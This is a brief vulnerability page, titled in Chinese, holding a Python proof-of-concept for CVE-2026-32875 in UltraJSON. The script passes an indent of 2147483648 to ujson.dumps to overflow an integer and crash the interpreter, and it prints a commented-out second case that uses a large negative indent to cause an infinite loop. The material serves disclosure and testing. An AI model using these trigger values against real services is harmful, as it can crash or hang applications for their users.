CVE-2026-32875 UltraJSON拒绝服务漏洞

import ujson import sys # PoC for CVE-2026-32875 # This PoC demonstrates the Denial of Service vulnerability in UltraJSON. # Case 1: Integer Overflow leading to Segmentation Fault # Trigger condition: product of indent parameter and nested depth > INT32_MAX print("Testing Case 1: Integer Overflow (Segfault)") try: # INT32_MAX is 2147483647. Using a value larger than this for indent # with any depth >= 1 will trigger the overflow. large_indent = 2147483648 data = {"key": "value"} print(f"Calling dumps with indent={large_indent}") # This line is expected to crash the Python interpreter result = ujson.dumps(data, indent=large_indent) print("Result:", result) except Exception as e: print(f"Exception caught: {e}") # Case 2: Infinite Loop with large negative indent # Trigger condition: indent is a large negative number and data is nested print("\nTesting Case 2: Infinite Loop (Skipped to prevent hang)") print("To test the infinite loop, uncomment the code below:") print("# large_negative_indent = -2147483649") print("# nested_data = {'a': {'b': 'c'}}") print("# ujson.dumps(nested_data, indent=large_negative_indent)")